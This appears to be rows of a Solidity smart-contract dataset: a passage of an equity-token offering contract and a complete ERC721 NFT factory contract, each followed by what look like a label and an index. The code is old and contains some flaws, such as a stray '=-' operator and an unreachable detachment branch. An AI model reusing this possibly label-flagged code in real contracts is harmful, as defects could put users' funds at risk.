"NF_MAX_FUNDS_LT_MIN_TICKET"); require(MIN_TICKET_EUR_ULPS >= platformTerms.MIN_TICKET_EUR_ULPS(), "NF_ETO_TERMS_MIN_TICKET_EUR_ULPS"); require(DURATION_TERMS.WHITELIST_DURATION() >= platformTerms.MIN_WHITELIST_DURATION(), "NF_ETO_TERMS_WL_D_MIN"); require(DURATION_TERMS.WHITELIST_DURATION() <= platformTerms.MAX_WHITELIST_DURATION(), "NF_ETO_TERMS_WL_D_MAX"); require(DURATION_TERMS.PUBLIC_DURATION() >= platformTerms.MIN_PUBLIC_DURATION(), "NF_ETO_TERMS_PUB_D_MIN"); require(DURATION_TERMS.PUBLIC_DURATION() <= platformTerms.MAX_PUBLIC_DURATION(), "NF_ETO_TERMS_PUB_D_MAX"); uint256 totalDuration = DURATION_TERMS.WHITELIST_DURATION() + DURATION_TERMS.PUBLIC_DURATION(); require(totalDuration >= platformTerms.MIN_OFFER_DURATION(), "NF_ETO_TERMS_TOT_O_MIN"); require(totalDuration <= platformTerms.MAX_OFFER_DURATION(), "NF_ETO_TERMS_TOT_O_MAX"); require(DURATION_TERMS.SIGNING_DURATION() >= platformTerms.MIN_SIGNING_DURATION(), "NF_ETO_TERMS_SIG_MIN"); require(DURATION_TERMS.SIGNING_DURATION() <= platformTerms.MAX_SIGNING_DURATION(), "NF_ETO_TERMS_SIG_MAX"); require(DURATION_TERMS.CLAIM_DURATION() >= platformTerms.MIN_CLAIM_DURATION(), "NF_ETO_TERMS_CLAIM_MIN"); require(DURATION_TERMS.CLAIM_DURATION() <= platformTerms.MAX_CLAIM_DURATION(), "NF_ETO_TERMS_CLAIM_MAX"); return true; } function contractId() public pure returns (bytes32 id, uint256 version) { return (0x3468b14073c33fa00ee7f8a289b14f4a10c78ab72726033b27003c31c47b3f6a, 0); } function calculateContributionPrivate( address investor, uint256 totalContributedEurUlps, uint256 existingInvestorContributionEurUlps, uint256 newInvestorContributionEurUlps, bool applyWhitelistDiscounts ) private constant returns ( bool isWhitelisted, uint256 minTicketEurUlps, uint256 maxTicketEurUlps, uint256 equityTokenInt, uint256 fixedSlotEquityTokenInt ) { uint256 discountedAmount; minTicketEurUlps = MIN_TICKET_EUR_ULPS; maxTicketEurUlps = MAX_TICKET_EUR_ULPS; WhitelistTicket storage wlTicket = _whitelist[investor]; isWhitelisted = wlTicket.fullTokenPriceFrac > 0; if (applyWhitelistDiscounts) { maxTicketEurUlps = max(wlTicket.discountAmountEurUlps, maxTicketEurUlps); if (wlTicket.discountAmountEurUlps > 0) { minTicketEurUlps = min(wlTicket.discountAmountEurUlps, minTicketEurUlps); } if (existingInvestorContributionEurUlps < wlTicket.discountAmountEurUlps) { discountedAmount = min(newInvestorContributionEurUlps, wlTicket.discountAmountEurUlps - existingInvestorContributionEurUlps); if (discountedAmount > 0) { fixedSlotEquityTokenInt = discountedAmount / calculatePriceFraction(wlTicket.fullTokenPriceFrac); } } } uint256 remainingAmount = newInvestorContributionEurUlps - discountedAmount; if (remainingAmount > 0) { if (applyWhitelistDiscounts && WHITELIST_DISCOUNT_FRAC > 0) { equityTokenInt = remainingAmount / calculatePriceFraction(10**18 - WHITELIST_DISCOUNT_FRAC); } else { equityTokenInt = calculateTokenAmount(totalContributedEurUlps + discountedAmount, remainingAmount); } } equityTokenInt += fixedSlotEquityTokenInt; } function addWhitelistInvestorPrivate( address investor, uint256 discountAmountEurUlps, uint256 fullTokenPriceFrac ) private { require(investor != address(0)); require(fullTokenPriceFrac > 0 && fullTokenPriceFrac <= 10**18, "NF_DISCOUNT_RANGE"); require(discountAmountEurUlps < 2**128); _whitelist[investor] = WhitelistTicket({ discountAmountEurUlps: uint128(discountAmountEurUlps), fullTokenPriceFrac: uint128(fullTokenPriceFrac) }); emit LogInvestorWhitelisted(investor, discountAmountEurUlps, fullTokenPriceFrac); } } contract ITokenControllerHook { event LogChangeTokenController( address oldController, address newController, address by ); function changeTokenController(address newController) public; function tokenController() public constant returns (address currentController); } contract IETOCommitmentStates { enum ETOState { Setup, Whitelist, Public, Signing, Claim, Payout, Refund } uint256 constant internal ETO_STATES_COUNT = 7; } contract IETOCommitmentObserver is IETOCommitmentStates { function commitmentObserver() public constant returns (address); function onStateTransition(ETOState oldState, ETOState newState) public; } contract ITokenController { function onTransfer(address broker, address from, address to, uint256 amount) public constant returns (bool allow); function onApprove(address owner, address spender, uint256 amount) public constant returns (bool allow); function onGenerateTokens(address sender, address owner, uint256 amount) public constant returns (bool allow); function onDestroyTokens(address sender, address owner, uint256 amount) public constant returns (bool allow); function onChangeTokenController(address sender, address newController) public constant returns (bool); function onAllowance(address owner, address spender) public constant returns (uint256 allowanceOverride); } contract IEquityTokenController is IAgreement, ITokenController, IETOCommitmentObserver, IERC223Callback { function onChangeNominee(address sender, address oldNominee, address newNominee) public constant returns (bool); } contract IEquityToken is IAgreement, IClonedTokenParent, IERC223Token, ITokenControllerHook { function tokensPerShare() public constant returns (uint256); function sharesTotalSupply() public constant returns (uint256); function shareNominalValueEurUlps() public constant returns (uint256); function companyLegalRepresentative() public constant returns (address); function nominee() public constant returns (address); function changeNominee(address newNominee) public; function issueTokens(uint256 amount) public; function distributeTokens(address to, uint256 amount) public; function destroyTokens(uint256 amount) public; } contract EquityToken is IEquityToken, IContractId, StandardSnapshotToken, Daily, TokenMetadata, Agreement, IsContract, Math { uint256 private TOKENS_PER_SHARE; address private COMPANY_LEGAL_REPRESENTATIVE; uint256 public SHARE_NOMINAL_VALUE_EUR_ULPS; address private _nominee; IEquityTokenController private _tokenController; event LogTokensIssued( address indexed holder, address controller, uint256 amount ); event LogTokensDestroyed( address indexed holder, address controller, uint256 amount ); event LogChangeTokenController( address oldController, address newController, address by ); event LogChangeNominee( address oldNominee, address newNominee, address controller, address by ); modifier onlyIfIssueAllowed(address to, uint256 amount) { require(_tokenController.onGenerateTokens(msg.sender, to, amount), "NF_EQTOKEN_NO_GENERATE"); _; } modifier onlyIfDestroyAllowed(address owner, uint256 amount) { require(_tokenController.onDestroyTokens(msg.sender, owner, amount), "NF_EQTOKEN_NO_DESTROY"); _; } constructor( Universe universe, IEquityTokenController controller, ETOTerms etoTerms, address nominee, address companyLegalRep ) Agreement(universe.accessPolicy(), universe.forkArbiter()) StandardSnapshotToken( IClonedTokenParent(0x0), 0 ) TokenMetadata( etoTerms.EQUITY_TOKEN_NAME(), etoTerms.TOKEN_TERMS().EQUITY_TOKENS_PRECISION(), etoTerms.EQUITY_TOKEN_SYMBOL(), "1.0" ) Daily(0) public { TOKENS_PER_SHARE = etoTerms.TOKEN_TERMS().EQUITY_TOKENS_PER_SHARE(); COMPANY_LEGAL_REPRESENTATIVE = companyLegalRep; SHARE_NOMINAL_VALUE_EUR_ULPS = etoTerms.SHARE_NOMINAL_VALUE_EUR_ULPS(); _nominee = nominee; _tokenController = controller; } function issueTokens(uint256 amount) public onlyIfIssueAllowed(address(this), amount) acceptAgreement(msg.sender) { mGenerateTokens(msg.sender, amount); emit LogTokensIssued(msg.sender, _tokenController, amount); } function distributeTokens(address to, uint256 amount) public acceptAgreement(to) { mTransfer(msg.sender, to, amount); } function destroyTokens(uint256 amount) public onlyIfDestroyAllowed(msg.sender, amount) acceptAgreement(msg.sender) { mDestroyTokens(msg.sender, amount); emit LogTokensDestroyed(msg.sender, _tokenController, amount); } function changeNominee(address newNominee) public { require(_tokenController.onChangeNominee(msg.sender, _nominee, newNominee)); _nominee = newNominee; emit LogChangeNominee(_nominee, newNominee, _tokenController, msg.sender); } function tokensPerShare() public constant returns (uint256) { return TOKENS_PER_SHARE; } function sharesTotalSupply() public constant returns (uint256) { return tokensToShares(totalSupply()); } function shareNominalValueEurUlps() public constant returns (uint256) { return SHARE_NOMINAL_VALUE_EUR_ULPS; } function nominee() public constant returns (address) { return _nominee; } function companyLegalRepresentative() public constant returns (address) { return COMPANY_LEGAL_REPRESENTATIVE; } function changeTokenController(address newController) public { require(_tokenController.onChangeTokenController(msg.sender, newController), "NF_ET_NO_PERM_NEW_CONTROLLER"); _tokenController = IEquityTokenController(newController); emit LogChangeTokenController(_tokenController, newController, msg.sender); } function tokenController() public constant returns (address) { return _tokenController; } function transfer(address to, uint256 amount, bytes data) public returns (bool) { BasicSnapshotToken.mTransfer(msg.sender, to, amount); if (isContract(to)) { IERC223Callback(to).tokenFallback(msg.sender, amount, data); } return true; } function contractId() public pure returns (bytes32 id, uint256 version) { return (0x45a709aff6d5ae42cb70f87551d8d7dbec5235cf2baa71a009ed0a9795258d8f, 0); } function mOnTransfer( address from, address to, uint256 amount ) internal acceptAgreement(from) returns (bool allow) { return _tokenController.onTransfer(msg.sender, from, to, amount); } function mOnApprove( address owner, address spender, uint256 amount ) internal acceptAgreement(owner) returns (bool allow) { return _tokenController.onApprove(owner, spender, amount); } function mAllowanceOverride( address owner, address spender ) internal constant returns (uint256) { return _tokenController.onAllowance(owner, spender); } function mCanAmend(address legalRepresentative) internal returns (bool) { return legalRepresentative == _nominee; } function tokensToShares(uint256 amount) internal constant returns (uint256) { return divRound(amount, TOKENS_PER_SHARE); } }
1
4,434
pragma solidity ^0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } library AddressUtils { function isContract(address addr) internal view returns (bool) { uint256 size; assembly { size := extcodesize(addr) } return size > 0; } } contract OperationalControl { event ContractUpgrade(address newContract); address public managerPrimary; address public managerSecondary; address public bankManager; mapping(address => uint8) public otherManagers; bool public paused = false; bool public error = false; modifier onlyManager() { require(msg.sender == managerPrimary || msg.sender == managerSecondary); _; } modifier onlyBanker() { require(msg.sender == bankManager); _; } modifier onlyOtherManagers() { require(otherManagers[msg.sender] == 1); _; } modifier anyOperator() { require( msg.sender == managerPrimary || msg.sender == managerSecondary || msg.sender == bankManager || otherManagers[msg.sender] == 1 ); _; } function setOtherManager(address _newOp, uint8 _state) external onlyManager { require(_newOp != address(0)); otherManagers[_newOp] = _state; } function setPrimaryManager(address _newGM) external onlyManager { require(_newGM != address(0)); managerPrimary = _newGM; } function setSecondaryManager(address _newGM) external onlyManager { require(_newGM != address(0)); managerSecondary = _newGM; } function setBanker(address _newBK) external onlyManager { require(_newBK != address(0)); bankManager = _newBK; } modifier whenNotPaused() { require(!paused); _; } modifier whenPaused { require(paused); _; } modifier whenError { require(error); _; } function pause() external onlyManager whenNotPaused { paused = true; } function unpause() public onlyManager whenPaused { paused = false; } function hasError() public onlyManager whenPaused { error = true; } function noError() public onlyManager whenPaused { error = false; } } contract ERC721Basic { event Transfer( address indexed _from, address indexed _to, uint256 _tokenId ); event Approval( address indexed _owner, address indexed _approved, uint256 _tokenId ); event ApprovalForAll( address indexed _owner, address indexed _operator, bool _approved ); function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function exists(uint256 _tokenId) public view returns (bool _exists); function approve(address _to, uint256 _tokenId) public; function getApproved(uint256 _tokenId) public view returns (address _operator); function setApprovalForAll(address _operator, bool _approved) public; function isApprovedForAll(address _owner, address _operator) public view returns (bool); function transferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) public; } contract ERC721Enumerable is ERC721Basic { function totalSupply() public view returns (uint256); function tokenOfOwnerByIndex( address _owner, uint256 _index ) public view returns (uint256 _tokenId); function tokenByIndex(uint256 _index) public view returns (uint256); } contract ERC721Metadata is ERC721Basic { function name() public view returns (string _name); function symbol() public view returns (string _symbol); function tokenURI(uint256 _tokenId) public view returns (string); } contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata { } contract ERC721BasicToken is ERC721Basic { using SafeMath for uint256; using AddressUtils for address; bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba; mapping (uint256 => address) internal tokenOwner; mapping (uint256 => address) internal tokenApprovals; mapping (address => uint256) internal ownedTokensCount; mapping (address => mapping (address => bool)) internal operatorApprovals; modifier onlyOwnerOf(uint256 _tokenId) { require(ownerOf(_tokenId) == msg.sender); _; } modifier canTransfer(uint256 _tokenId) { require(isApprovedOrOwner(msg.sender, _tokenId)); _; } function balanceOf(address _owner) public view returns (uint256) { require(_owner != address(0)); return ownedTokensCount[_owner]; } function ownerOf(uint256 _tokenId) public view returns (address) { address owner = tokenOwner[_tokenId]; require(owner != address(0)); return owner; } function exists(uint256 _tokenId) public view returns (bool) { address owner = tokenOwner[_tokenId]; return owner != address(0); } function approve(address _to, uint256 _tokenId) public { address owner = ownerOf(_tokenId); require(_to != owner); require(msg.sender == owner || isApprovedForAll(owner, msg.sender)); if (getApproved(_tokenId) != address(0) || _to != address(0)) { tokenApprovals[_tokenId] = _to; emit Approval(owner, _to, _tokenId); } } function getApproved(uint256 _tokenId) public view returns (address) { return tokenApprovals[_tokenId]; } function setApprovalForAll(address _to, bool _approved) public { require(_to != msg.sender); operatorApprovals[msg.sender][_to] = _approved; emit ApprovalForAll(msg.sender, _to, _approved); } function isApprovedForAll( address _owner, address _operator ) public view returns (bool) { return operatorApprovals[_owner][_operator]; } function transferFrom( address _from, address _to, uint256 _tokenId ) public canTransfer(_tokenId) { require(_from != address(0)); require(_to != address(0)); clearApproval(_from, _tokenId); removeTokenFrom(_from, _tokenId); addTokenTo(_to, _tokenId); emit Transfer(_from, _to, _tokenId); } function safeTransferFrom( address _from, address _to, uint256 _tokenId ) public canTransfer(_tokenId) { safeTransferFrom(_from, _to, _tokenId, ""); } function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) public canTransfer(_tokenId) { transferFrom(_from, _to, _tokenId); require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data)); } function isApprovedOrOwner( address _spender, uint256 _tokenId ) internal view returns (bool) { address owner = ownerOf(_tokenId); return ( _spender == owner || getApproved(_tokenId) == _spender || isApprovedForAll(owner, _spender) ); } function _mint(address _to, uint256 _tokenId) internal { require(_to != address(0)); addTokenTo(_to, _tokenId); emit Transfer(address(0), _to, _tokenId); } function _burn(address _owner, uint256 _tokenId) internal { clearApproval(_owner, _tokenId); removeTokenFrom(_owner, _tokenId); emit Transfer(_owner, address(0), _tokenId); } function clearApproval(address _owner, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _owner); if (tokenApprovals[_tokenId] != address(0)) { tokenApprovals[_tokenId] = address(0); emit Approval(_owner, address(0), _tokenId); } } function addTokenTo(address _to, uint256 _tokenId) internal { require(tokenOwner[_tokenId] == address(0)); tokenOwner[_tokenId] = _to; ownedTokensCount[_to] = ownedTokensCount[_to].add(1); } function removeTokenFrom(address _from, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _from); ownedTokensCount[_from] = ownedTokensCount[_from].sub(1); tokenOwner[_tokenId] = address(0); } function checkAndCallSafeTransfer( address _from, address _to, uint256 _tokenId, bytes _data ) internal returns (bool) { if (!_to.isContract()) { return true; } bytes4 retval = ERC721Receiver(_to).onERC721Received( _from, _tokenId, _data); return (retval == ERC721_RECEIVED); } } contract ERC721Receiver { bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba; function onERC721Received( address _from, uint256 _tokenId, bytes _data ) public returns(bytes4); } contract ERC721Holder is ERC721Receiver { function onERC721Received(address, uint256, bytes) public returns(bytes4) { return ERC721_RECEIVED; } } contract ERC721Token is ERC721, ERC721BasicToken { string internal name_; string internal symbol_; mapping(address => uint256[]) internal ownedTokens; mapping(uint256 => uint256) internal ownedTokensIndex; uint256[] internal allTokens; mapping(uint256 => uint256) internal allTokensIndex; string internal tokenURIBase; function tokenURI(uint256 _tokenId) public view returns (string) { require(exists(_tokenId)); return tokenURIBase; } function tokenOfOwnerByIndex( address _owner, uint256 _index ) public view returns (uint256) { require(_index < balanceOf(_owner)); return ownedTokens[_owner][_index]; } function totalSupply() public view returns (uint256) { return allTokens.length; } function tokenByIndex(uint256 _index) public view returns (uint256) { require(_index < totalSupply()); return allTokens[_index]; } function _setTokenURIBase(string _uri) internal { tokenURIBase = _uri; } function addTokenTo(address _to, uint256 _tokenId) internal { super.addTokenTo(_to, _tokenId); uint256 length = ownedTokens[_to].length; ownedTokens[_to].push(_tokenId); ownedTokensIndex[_tokenId] = length; } function removeTokenFrom(address _from, uint256 _tokenId) internal { super.removeTokenFrom(_from, _tokenId); uint256 tokenIndex = ownedTokensIndex[_tokenId]; uint256 lastTokenIndex = ownedTokens[_from].length.sub(1); uint256 lastToken = ownedTokens[_from][lastTokenIndex]; ownedTokens[_from][tokenIndex] = lastToken; ownedTokens[_from][lastTokenIndex] = 0; ownedTokens[_from].length--; ownedTokensIndex[_tokenId] = 0; ownedTokensIndex[lastToken] = tokenIndex; } function name() public view returns (string) { return name_; } function symbol() public view returns (string) { return symbol_; } function _mint(address _to, uint256 _tokenId) internal { super._mint(_to, _tokenId); allTokensIndex[_tokenId] = allTokens.length; allTokens.push(_tokenId); } function _burn(address _owner, uint256 _tokenId) internal { super._burn(_owner, _tokenId); uint256 tokenIndex = allTokensIndex[_tokenId]; uint256 lastTokenIndex = allTokens.length.sub(1); uint256 lastToken = allTokens[lastTokenIndex]; allTokens[tokenIndex] = lastToken; allTokens[lastTokenIndex] = 0; allTokens.length--; allTokensIndex[_tokenId] = 0; allTokensIndex[lastToken] = tokenIndex; } bytes4 constant InterfaceSignature_ERC165 = 0x01ffc9a7; bytes4 constant InterfaceSignature_ERC721Enumerable = 0x780e9d63; bytes4 constant InterfaceSignature_ERC721Metadata = 0x5b5e139f; bytes4 constant InterfaceSignature_ERC721 = 0x80ac58cd; bytes4 public constant InterfaceSignature_ERC721Optional =- 0x4f558e79; function supportsInterface(bytes4 _interfaceID) external view returns (bool) { return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721) || (_interfaceID == InterfaceSignature_ERC721Enumerable) || (_interfaceID == InterfaceSignature_ERC721Metadata)); } function implementsERC721() public pure returns (bool) { return true; } } contract CCNFTFactory is ERC721Token, OperationalControl { event AssetCreated(address owner, uint256 assetId, uint256 assetType, uint256 sequenceId, uint256 creationTime); event DetachRequest(address owner, uint256 assetId, uint256 timestamp); event NFTDetached(address requester, uint256 assetId); event NFTAttached(address requester, uint256 assetId); mapping(uint256 => uint256) internal nftDataA; mapping(uint256 => uint128) internal nftDataB; mapping(uint32 => uint64) internal assetTypeTotalCount; mapping(uint32 => uint64) internal assetTypeBurnedCount; mapping(uint256 => mapping(uint32 => uint64) ) internal sequenceIDToTypeForID; mapping(uint256 => string) internal assetTypeName; mapping(uint256 => uint32) internal assetTypeCreationLimit; bool public attachedSystemActive; bool public canBurn; uint32 public detachmentTime = 300; constructor() public { require(msg.sender != address(0)); paused = true; error = false; canBurn = false; managerPrimary = msg.sender; managerSecondary = msg.sender; bankManager = msg.sender; name_ = "CCNFTFactory"; symbol_ = "CCNFT"; } modifier canTransfer(uint256 _tokenId) { uint256 isAttached = getIsNFTAttached(_tokenId); if(isAttached == 2) { require(msg.sender == managerPrimary || msg.sender == managerSecondary || msg.sender == bankManager || otherManagers[msg.sender] == 1 ); updateIsAttached(_tokenId, 1); } else if(attachedSystemActive == true && isAttached >= 1) { require(msg.sender == managerPrimary || msg.sender == managerSecondary || msg.sender == bankManager || otherManagers[msg.sender] == 1 ); } else { require(isApprovedOrOwner(msg.sender, _tokenId)); } _; } function getAssetIDForTypeSequenceID(uint256 _seqId, uint256 _type) public view returns (uint256 _assetID) { return sequenceIDToTypeForID[_seqId][uint32(_type)]; } function getAssetDetails(uint256 _assetId) public view returns( uint256 assetId, uint256 ownersIndex, uint256 assetTypeSeqId, uint256 assetType, uint256 createdTimestamp, uint256 isAttached, address creator, address owner ) { require(exists(_assetId)); uint256 nftData = nftDataA[_assetId]; uint256 nftDataBLocal = nftDataB[_assetId]; assetId = _assetId; ownersIndex = ownedTokensIndex[_assetId]; createdTimestamp = uint256(uint48(nftData>>160)); assetType = uint256(uint32(nftData>>208)); assetTypeSeqId = uint256(uint64(nftDataBLocal)); isAttached = uint256(uint48(nftDataBLocal>>64)); creator = address(nftData); owner = ownerOf(_assetId); } function totalSupplyOfType(uint256 _type) public view returns (uint256 _totalOfType) { return assetTypeTotalCount[uint32(_type)] - assetTypeBurnedCount[uint32(_type)]; } function totalCreatedOfType(uint256 _type) public view returns (uint256 _totalOfType) { return assetTypeTotalCount[uint32(_type)]; } function totalBurnedOfType(uint256 _type) public view returns (uint256 _totalOfType) { return assetTypeBurnedCount[uint32(_type)]; } function getAssetRawMeta(uint256 _assetId) public view returns( uint256 dataA, uint128 dataB ) { require(exists(_assetId)); dataA = nftDataA[_assetId]; dataB = nftDataB[_assetId]; } function getAssetIdItemType(uint256 _assetId) public view returns( uint256 assetType ) { require(exists(_assetId)); uint256 dataA = nftDataA[_assetId]; assetType = uint256(uint32(dataA>>208)); } function getAssetIdTypeSequenceId(uint256 _assetId) public view returns( uint256 assetTypeSequenceId ) { require(exists(_assetId)); uint256 dataB = nftDataB[_assetId]; assetTypeSequenceId = uint256(uint64(dataB)); } function getIsNFTAttached( uint256 _assetId) public view returns( uint256 isAttached ) { uint256 nftData = nftDataB[_assetId]; isAttached = uint256(uint48(nftData>>64)); } function getAssetIdCreator(uint256 _assetId) public view returns( address creator ) { require(exists(_assetId)); uint256 dataA = nftDataA[_assetId]; creator = address(dataA); } function isAssetIdOwnerOrApproved(address requesterAddress, uint256 _assetId) public view returns( bool ) { return isApprovedOrOwner(requesterAddress, _assetId); } function getAssetIdOwner(uint256 _assetId) public view returns( address owner ) { require(exists(_assetId)); owner = ownerOf(_assetId); } function getAssetIdOwnerIndex(uint256 _assetId) public view returns( uint256 ownerIndex ) { require(exists(_assetId)); ownerIndex = ownedTokensIndex[_assetId]; } function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 resultIndex = 0; uint256 _itemIndex; for (_itemIndex = 0; _itemIndex < tokenCount; _itemIndex++) { result[resultIndex] = tokenOfOwnerByIndex(_owner,_itemIndex); resultIndex++; } return result; } } function getTypeName (uint32 _type) public returns(string) { return assetTypeName[_type]; } function transferFrom( address _from, address _to, uint256 _tokenId ) public canTransfer(_tokenId) { require(_from != address(0)); require(_to != address(0)); clearApproval(_from, _tokenId); removeTokenFrom(_from, _tokenId); addTokenTo(_to, _tokenId); emit Transfer(_from, _to, _tokenId); } function multiBatchTransferFrom( uint256[] _assetIds, address[] _fromB, address[] _toB) public { uint256 _id; address _to; address _from; for (uint256 i = 0; i < _assetIds.length; ++i) { _id = _assetIds[i]; _to = _toB[i]; _from = _fromB[i]; require(isApprovedOrOwner(msg.sender, _id)); require(_from != address(0)); require(_to != address(0)); clearApproval(_from, _id); removeTokenFrom(_from, _id); addTokenTo(_to, _id); emit Transfer(_from, _to, _id); } } function batchTransferFrom(uint256[] _assetIds, address _from, address _to) public { uint256 _id; for (uint256 i = 0; i < _assetIds.length; ++i) { _id = _assetIds[i]; require(isApprovedOrOwner(msg.sender, _id)); require(_from != address(0)); require(_to != address(0)); clearApproval(_from, _id); removeTokenFrom(_from, _id); addTokenTo(_to, _id); emit Transfer(_from, _to, _id); } } function multiBatchSafeTransferFrom( uint256[] _assetIds, address[] _fromB, address[] _toB ) public { uint256 _id; address _to; address _from; for (uint256 i = 0; i < _assetIds.length; ++i) { _id = _assetIds[i]; _to = _toB[i]; _from = _fromB[i]; safeTransferFrom(_from, _to, _id); } } function batchSafeTransferFrom( uint256[] _assetIds, address _from, address _to ) public { uint256 _id; for (uint256 i = 0; i < _assetIds.length; ++i) { _id = _assetIds[i]; safeTransferFrom(_from, _to, _id); } } function batchApprove( uint256[] _assetIds, address _spender ) public { uint256 _id; for (uint256 i = 0; i < _assetIds.length; ++i) { _id = _assetIds[i]; approve(_spender, _id); } } function batchSetApprovalForAll( address[] _spenders, bool _approved ) public { address _spender; for (uint256 i = 0; i < _spenders.length; ++i) { _spender = _spenders[i]; setApprovalForAll(_spender, _approved); } } function requestDetachment( uint256 _tokenId ) public { require(isApprovedOrOwner(msg.sender, _tokenId)); uint256 isAttached = getIsNFTAttached(_tokenId); require(isAttached >= 1); if(attachedSystemActive == true) { if(isAttached > 1 && block.timestamp - isAttached > detachmentTime) { isAttached = 0; } else if(isAttached > 1) { require(isAttached == 1); } else { emit DetachRequest(msg.sender, _tokenId, block.timestamp); isAttached = block.timestamp; } } else { isAttached = 0; } if(isAttached == 0) { emit NFTDetached(msg.sender, _tokenId); } updateIsAttached(_tokenId, isAttached); } function attachAsset( uint256 _tokenId ) public canTransfer(_tokenId) { uint256 isAttached = getIsNFTAttached(_tokenId); require(isAttached == 0); isAttached = 1; updateIsAttached(_tokenId, isAttached); emit NFTAttached(msg.sender, _tokenId); } function batchAttachAssets(uint256[] _ids) public { for(uint i = 0; i < _ids.length; i++) { attachAsset(_ids[i]); } } function batchDetachAssets(uint256[] _ids) public { for(uint i = 0; i < _ids.length; i++) { requestDetachment(_ids[i]); } } function requestDetachmentOnPause (uint256 _tokenId) public whenPaused { require(isApprovedOrOwner(msg.sender, _tokenId)); updateIsAttached(_tokenId, 0); } function batchBurnAssets(uint256[] _assetIDs) public { uint256 _id; for(uint i = 0; i < _assetIDs.length; i++) { _id = _assetIDs[i]; burnAsset(_id); } } function burnAsset(uint256 _assetID) public { require(canBurn == true); require(getIsNFTAttached(_assetID) == 0); require(isApprovedOrOwner(msg.sender, _assetID) == true); uint256 _assetType = getAssetIdItemType(_assetID); assetTypeBurnedCount[uint32(_assetType)] += 1; _burn(msg.sender, _assetID); } function setTokenURIBase (string _tokenURI) public onlyManager { _setTokenURIBase(_tokenURI); } function setPermanentLimitForType (uint32 _type, uint256 _limit) public onlyManager { require(assetTypeCreationLimit[_type] == 0); assetTypeCreationLimit[_type] = uint32(_limit); } function setTypeName (uint32 _type, string _name) public anyOperator { assetTypeName[_type] = _name; } function batchSpawnAsset(address _to, uint256[] _assetTypes, uint256[] _assetIds, uint256 _isAttached) public anyOperator { uint256 _id; uint256 _assetType; for(uint i = 0; i < _assetIds.length; i++) { _id = _assetIds[i]; _assetType = _assetTypes[i]; _createAsset(_to, _assetType, _id, _isAttached, address(0)); } } function batchSpawnAsset(address[] _toB, uint256[] _assetTypes, uint256[] _assetIds, uint256 _isAttached) public anyOperator { address _to; uint256 _id; uint256 _assetType; for(uint i = 0; i < _assetIds.length; i++) { _to = _toB[i]; _id = _assetIds[i]; _assetType = _assetTypes[i]; _createAsset(_to, _assetType, _id, _isAttached, address(0)); } } function batchSpawnAssetWithCreator(address[] _toB, uint256[] _assetTypes, uint256[] _assetIds, uint256[] _isAttacheds, address[] _creators) public anyOperator { address _to; address _creator; uint256 _id; uint256 _assetType; uint256 _isAttached; for(uint i = 0; i < _assetIds.length; i++) { _to = _toB[i]; _id = _assetIds[i]; _assetType = _assetTypes[i]; _creator = _creators[i]; _isAttached = _isAttacheds[i]; _createAsset(_to, _assetType, _id, _isAttached, _creator); } } function spawnAsset(address _to, uint256 _assetType, uint256 _assetID, uint256 _isAttached) public anyOperator { _createAsset(_to, _assetType, _assetID, _isAttached, address(0)); } function spawnAssetWithCreator(address _to, uint256 _assetType, uint256 _assetID, uint256 _isAttached, address _creator) public anyOperator { _createAsset(_to, _assetType, _assetID, _isAttached, _creator); } function withdrawBalance() public onlyBanker { bankManager.transfer(address(this).balance); } function setCanBurn(bool _state) public onlyManager { canBurn = _state; } function burnAssetOperator(uint256 _assetID) public anyOperator { require(getIsNFTAttached(_assetID) > 0); uint256 _assetType = getAssetIdItemType(_assetID); assetTypeBurnedCount[uint32(_assetType)] += 1; _burn(ownerOf(_assetID), _assetID); } function toggleAttachedEnforement (bool _state) public onlyManager { attachedSystemActive = _state; } function setDetachmentTime (uint256 _time) public onlyManager { require(_time <= 1209600); detachmentTime = uint32(_time); } function setNFTDetached(uint256 _assetID) public anyOperator { require(getIsNFTAttached(_assetID) > 0); updateIsAttached(_assetID, 0); emit NFTDetached(msg.sender, _assetID); } function setBatchDetachCollectibles(uint256[] _assetIds) public anyOperator { uint256 _id; for(uint i = 0; i < _assetIds.length; i++) { _id = _assetIds[i]; setNFTDetached(_id); } } function _createAsset(address _to, uint256 _assetType, uint256 _assetID, uint256 _attachState, address _creator) internal returns(uint256) { uint256 _sequenceId = uint256(assetTypeTotalCount[uint32(_assetType)]) + 1; require(assetTypeCreationLimit[uint32(_assetType)] == 0 || assetTypeCreationLimit[uint32(_assetType)] > _sequenceId); require(_sequenceId == uint256(uint64(_sequenceId))); _mint(_to, _assetID); uint256 nftData = uint256(_creator); nftData |= now<<160; nftData |= _assetType<<208; uint256 nftDataContinued = uint256(_sequenceId); nftDataContinued |= _attachState<<64; nftDataA[_assetID] = nftData; nftDataB[_assetID] = uint128(nftDataContinued); assetTypeTotalCount[uint32(_assetType)] += 1; sequenceIDToTypeForID[_sequenceId][uint32(_assetType)] = uint64(_assetID); emit AssetCreated(_to, _assetID, _assetType, _sequenceId, now); return _assetID; } function updateIsAttached(uint256 _assetID, uint256 _isAttached) internal { uint256 nftData = nftDataB[_assetID]; uint256 assetTypeSeqId = uint256(uint64(nftData)); uint256 nftDataContinued = uint256(assetTypeSeqId); nftDataContinued |= _isAttached<<64; nftDataB[_assetID] = uint128(nftDataContinued); } }
1
4,169
